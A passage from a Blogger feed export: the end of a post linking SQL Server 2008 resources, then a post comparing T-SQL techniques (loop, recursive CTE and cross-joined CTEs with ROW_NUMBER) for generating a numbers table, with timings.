mce_href="http://www.microsoft.com/sql/techinfo/whitepapers/sql2008Overview.mspx"&gt;whitepaper&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;CTP 3 for &lt;strong&gt;&lt;a class="" href="http://connect.microsoft.com/SQLServer/content/content.aspx?ContentID=5395" mce_href="http://connect.microsoft.com/SQLServer/content/content.aspx?ContentID=5395"&gt;download&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;David Campbell's TechEd session on SQL Server 2008 &lt;strong&gt;&lt;a class="" href="http://www.microsoft.com/events/EventDetails.aspx?CMTYSvcSource=MSCOMMedia&amp;Params=%7eCMTYDataSvcParams%5e%7earg+Name%3d%22ID%22+Value%3d%221032341072%22%2f%5e%7earg+Name%3d%22ProviderID%22+Value%3d%22A6B43178-497C-4225-BA42-DF595171F04C%22%2f%5e%7earg+Name%3d%22lang%22+Value%3d%22en%22%2f%5e%7earg+Name%3d%22cr%22+Value%3d%22US%22%2f%5e%7esParams%5e%7e%2fsParams%5e%7e%2fCMTYDataSvcParams%5e" mce_href="http://www.microsoft.com/events/EventDetails.aspx?CMTYSvcSource=MSCOMMedia&amp;amp;Params=%7eCMTYDataSvcParams%5e%7earg+Name%3d%22ID%22+Value%3d%221032341072%22%2f%5e%7earg+Name%3d%22ProviderID%22+Value%3d%22A6B43178-497C-4225-BA42-DF595171F04C%22%2f%5e%7earg+Name%3d%22lang%22+Value%3d%22en%22%2f%5e%7earg+Name%3d%22cr%22+Value%3d%22US%22%2f%5e%7esParams%5e%7e%2fsParams%5e%7e%2fCMTYDataSvcParams%5e"&gt;webcast&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;SQL Server 2008 &lt;strong&gt;&lt;a class="" href="http://www.microsoft.com/presspass/press/2007/may07/05-09KatmaiPR.mspx" mce_href="http://www.microsoft.com/presspass/press/2007/may07/05-09KatmaiPR.mspx"&gt;press release&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;SQL Server 2008 &lt;strong&gt;&lt;a class="" href="http://forums.microsoft.com/MSDN/default.aspx?ForumGroupID=428&amp;SiteID=1" mce_href="http://forums.microsoft.com/MSDN/default.aspx?ForumGroupID=428&amp;amp;SiteID=1"&gt;MSDN Forums&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;SQL Server 2008 &lt;strong&gt;&lt;a class="" href="http://www.microsoft.com/sql/prodinfo/futureversion/default.mspx" mce_href="http://www.microsoft.com/sql/prodinfo/futureversion/default.mspx"&gt;website&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&lt;/ul&gt;          &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-7126672888787510612?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/7126672888787510612/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=7126672888787510612' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/7126672888787510612'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/7126672888787510612'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/06/sql-server-2008.html' title='SQL Server 2008'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-12807755800803994</id><published>2007-05-31T05:08:00.000-04:00</published><updated>2007-07-06T14:30:28.123-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='numbers_tbl'/><category scheme='http://www.blogger.com/atom/ns#' term='TSQL'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><category scheme='http://www.blogger.com/atom/ns#' term='Database Systems'/><title type='text'>Generating a Numbers table</title><content type='html'>A numbers table can be really useful for lots of reasons, but i'm not going to go over that here, i'm just going to document my journey trying to create one.&lt;br /&gt;&lt;br /&gt;Unfortunately, I'm a .NET programmer so i normally first think of a procedural way to do things. When i wanted to create a numbers table I started off with a looping solution, its not pretty, but it works, and you only have to run it once so who cares. so i started off with this&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="font-family: courier new;"&gt;                        &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;SET&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;NOCOUNT&lt;/span&gt; &lt;span style="color: blue;"&gt;ON&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;BEGIN&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;TRAN&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;DECLARE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; @LoopCounter &lt;span style="color: blue;"&gt;INT&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;SET&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; @LoopCounter &lt;span style="color: gray;"&gt;=&lt;/span&gt; 1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;WHILE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; @LoopCounter &lt;span style="color: gray;"&gt;&lt;=&lt;/span&gt; 10000 &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;BEGIN&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;INSERT&lt;/span&gt; numbers_tbl&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;@LoopCounter&lt;span style="color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color: blue;"&gt;SET&lt;/span&gt; @LoopCounter &lt;span style="color: gray;"&gt;=&lt;/span&gt; @LoopCounter &lt;span style="color: gray;"&gt;+&lt;/span&gt; 1&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style="color: blue;"&gt;END&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;COMMIT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; WORK&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;GO&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;/blockquote&gt;&lt;br /&gt;This took 29 seconds on our development DB server, not bad for a one time cost, but there must be a different way, i tried using a recursive query that used a table expression. This looked like a pretty sweet query&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="font-family: courier new;"&gt;                              &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;DECLARE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; @n &lt;span style="color: blue;"&gt;AS&lt;/span&gt; &lt;span style="color: blue;"&gt;BIGINT&lt;/span&gt;&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;SET&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; @n &lt;span style="color: gray;"&gt;=&lt;/span&gt; 1000000&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;WITH&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; Nums &lt;span style="color: blue;"&gt;AS&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;(&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&lt;/span&gt; 1 &lt;span style="color: blue;"&gt;AS&lt;/span&gt; n&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color: blue;"&gt;UNION&lt;/span&gt; &lt;span style="color: gray;"&gt;ALL&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&lt;/span&gt; n &lt;span style="color: gray;"&gt;+&lt;/span&gt; 1 &lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&lt;/span&gt; Nums &lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color: blue;"&gt;WHERE&lt;/span&gt; n &lt;span style="color: gray;"&gt;&lt;&lt;/span&gt; @n&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;INSERT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; numbers_tbl&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;SELECT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; n &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;FROM&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; Nums &lt;span style="color: blue;"&gt;OPTION&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;MAXRECURSION&lt;/span&gt; 0&lt;span style="color: gray;"&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;GO&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&gt;Table 'numbers_tbl'. Scan count 0, logical reads 1009505&lt;br /&gt;&gt;Table 'Worktable'. Scan count 2, logical reads 6000001&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;/blockquote&gt;&lt;br /&gt;Turned out this took 45 seconds, it ended up being a bit slower than my procedural version. Now this approach is kinda lame, really all we need to do is generate the first 1000 rows and then do a cross join on itself to generate the million rows required. However these rows won't have the right numbers per se, but we can use the row number function to give each row a number yielding us a numbers table from 1 to a million.&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="font-family: courier new;"&gt;                                            &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;&lt;blockquote&gt;&lt;/blockquote&gt;DECLARE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; @n &lt;span style="color: blue;"&gt;AS&lt;/span&gt; &lt;span style="color: blue;"&gt;BIGINT&lt;/span&gt;&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;SET&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; @n &lt;span style="color: gray;"&gt;=&lt;/span&gt; 1000000&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;&lt;br /&gt;WITH&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; Base &lt;span style="color: blue;"&gt;AS&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;(&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&lt;/span&gt; 1 &lt;span style="color: blue;"&gt;AS&lt;/span&gt; n&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color: blue;"&gt;UNION&lt;/span&gt; &lt;span style="color: gray;"&gt;ALL&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&lt;/span&gt; n &lt;span style="color: gray;"&gt;+&lt;/span&gt; 1 &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; Base &lt;span style="color: blue;"&gt;WHERE&lt;/span&gt; n &lt;span style="color: gray;"&gt;&lt;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;Expand &lt;span style="color: blue;"&gt;AS&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;(&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&lt;/span&gt; 1 &lt;span style="color: blue;"&gt;AS&lt;/span&gt; c&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&lt;/span&gt; Base &lt;span style="color: blue;"&gt;AS&lt;/span&gt; B1&lt;span style="color: gray;"&gt;,&lt;/span&gt; Base &lt;span style="color: blue;"&gt;AS&lt;/span&gt; B2&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;Nums &lt;span style="color: blue;"&gt;AS&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;(&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&lt;/span&gt; ROW_NUMBER&lt;span style="color: gray;"&gt;()&lt;/span&gt; &lt;span style="color: blue;"&gt;OVER&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;ORDER&lt;/span&gt; &lt;span style="color: blue;"&gt;BY&lt;/span&gt; c&lt;span style="color: gray;"&gt;)&lt;/span&gt; &lt;span style="color: blue;"&gt;AS&lt;/span&gt; n&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&lt;/span&gt; Expand&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;INSERT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; numbers_tbl&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;SELECT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; n &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; Nums&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;WHERE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; n &lt;span style="color: gray;"&gt;&lt;=&lt;/span&gt; @n&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;OPTION&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;(&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;MAXRECURSION&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; 0&lt;span style="color: gray;"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="color: gray;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;p&gt;&lt;/p&gt;   &lt;/blockquote&gt;&lt;br /&gt;Ah success this took 18 seconds, 9K reads opposed to 7M, i'm guessing as the number of entries in the numbers table goes up, this query will scale much better&lt;br /&gt;&lt;br /&gt;This is good, but its not perfect. (Not perfect enough for Voodoo-Itzik-black-sql-magic arts practitioners). The problem with the solution before was that we still are stuck doing recursive selects for the first 1000 rows, why start off with the square root? why not add an additional crosss join, allowing us to start off at the sqrt(sqrt(@n)). In fact lets just start off with 2, and will continue to cross join these together (increasing by an exponential factor of 2 on each join).  With 5 joins we can generate 4.2B rows, and we use the minimal number of initial selects.&lt;br /&gt;&lt;br /&gt;In this case, We start with a CTE that only has 2 rows, and multiple it by the number of rows with each following CTE by cross-joining two instances of the previous CTE. This results in 2^2^N rows, we can use the same row number trick to generate the actually numbers to insert into our table.&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="font-family: courier new;"&gt;                            &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;DECLARE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; @n &lt;span style="color: blue;"&gt;AS&lt;/span&gt; &lt;span style="color: blue;"&gt;BIGINT&lt;/span&gt;&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;SET&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; @n &lt;span style="color: gray;"&gt;=&lt;/span&gt; 1000000&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;WITH&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;L0 &lt;span style="color: blue;"&gt;AS&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&lt;/span&gt; 1 &lt;span style="color: blue;"&gt;AS&lt;/span&gt; c &lt;span style="color: blue;"&gt;UNION&lt;/span&gt; &lt;span style="color: gray;"&gt;ALL&lt;/span&gt; &lt;span style="color: blue;"&gt;SELECT&lt;/span&gt; 1&lt;span style="color: gray;"&gt;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;L1 &lt;span style="color: blue;"&gt;AS&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&lt;/span&gt; 1 &lt;span style="color: blue;"&gt;AS&lt;/span&gt; c &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; L0 &lt;span style="color: blue;"&gt;AS&lt;/span&gt; A&lt;span style="color: gray;"&gt;,&lt;/span&gt; L0 &lt;span style="color: blue;"&gt;AS&lt;/span&gt; B&lt;span style="color: gray;"&gt;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;L2 &lt;span style="color: blue;"&gt;AS&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&lt;/span&gt; 1 &lt;span style="color: blue;"&gt;AS&lt;/span&gt; c &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; L1 &lt;span style="color: blue;"&gt;AS&lt;/span&gt; A&lt;span style="color: gray;"&gt;,&lt;/span&gt; L1 &lt;span style="color: blue;"&gt;AS&lt;/span&gt; B&lt;span style="color: gray;"&gt;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;L3 &lt;span style="color: blue;"&gt;AS&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&lt;/span&gt; 1 &lt;span style="color: blue;"&gt;AS&lt;/span&gt; c &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; L2 &lt;span style="color: blue;"&gt;AS&lt;/span&gt; A&lt;span style="color: gray;"&gt;,&lt;/span&gt; L2 &lt;span style="color: blue;"&gt;AS&lt;/span&gt; B&lt;span style="color: gray;"&gt;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;L4 &lt;span style="color: blue;"&gt;AS&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&lt;/span&gt; 1 &lt;span style="color: blue;"&gt;AS&lt;/span&gt; c &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; L3 &lt;span style="color: blue;"&gt;AS&lt;/span&gt; A&lt;span style="color: gray;"&gt;,&lt;/span&gt; L3 &lt;span style="color: blue;"&gt;AS&lt;/span&gt; B&lt;span style="color: gray;"&gt;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;L5 &lt;span style="color: blue;"&gt;AS&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&lt;/span&gt; 1 &lt;span style="color: blue;"&gt;AS&lt;/span&gt; c &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; L4 &lt;span style="color: blue;"&gt;AS&lt;/span&gt; A&lt;span style="color: gray;"&gt;,&lt;/span&gt; L4 &lt;span style="color: blue;"&gt;AS&lt;/span&gt; B&lt;span style="color: gray;"&gt;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;Nums &lt;span style="color: blue;"&gt;AS&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&lt;/span&gt; ROW_NUMBER&lt;span style="color: gray;"&gt;()&lt;/span&gt; &lt;span style="color: blue;"&gt;OVER&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;ORDER&lt;/span&gt; &lt;span style="color: blue;"&gt;BY&lt;/span&gt; c&lt;span style="color: gray;"&gt;)&lt;/span&gt; &lt;span style="color: blue;"&gt;AS&lt;/span&gt; n &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; L5&lt;span style="color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;INSERT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; numbers_tbl&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;SELECT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; n &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; Nums&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;WHERE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; n &lt;span style="color: gray;"&gt;&lt;=&lt;/span&gt; @n&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;GO&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;This query ran in only 2 seconds, if you want more than 4B rows you can add an additional level (L6) for 2^64 rows.  Chances are no machine can even store that much so i've left off L6.&lt;br /&gt;&lt;br /&gt;Now you can have the largest numbers table at your company.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-12807755800803994?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/12807755800803994/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=12807755800803994' title='0 Comments'/><link rel='edit' type='application/atom+xml' 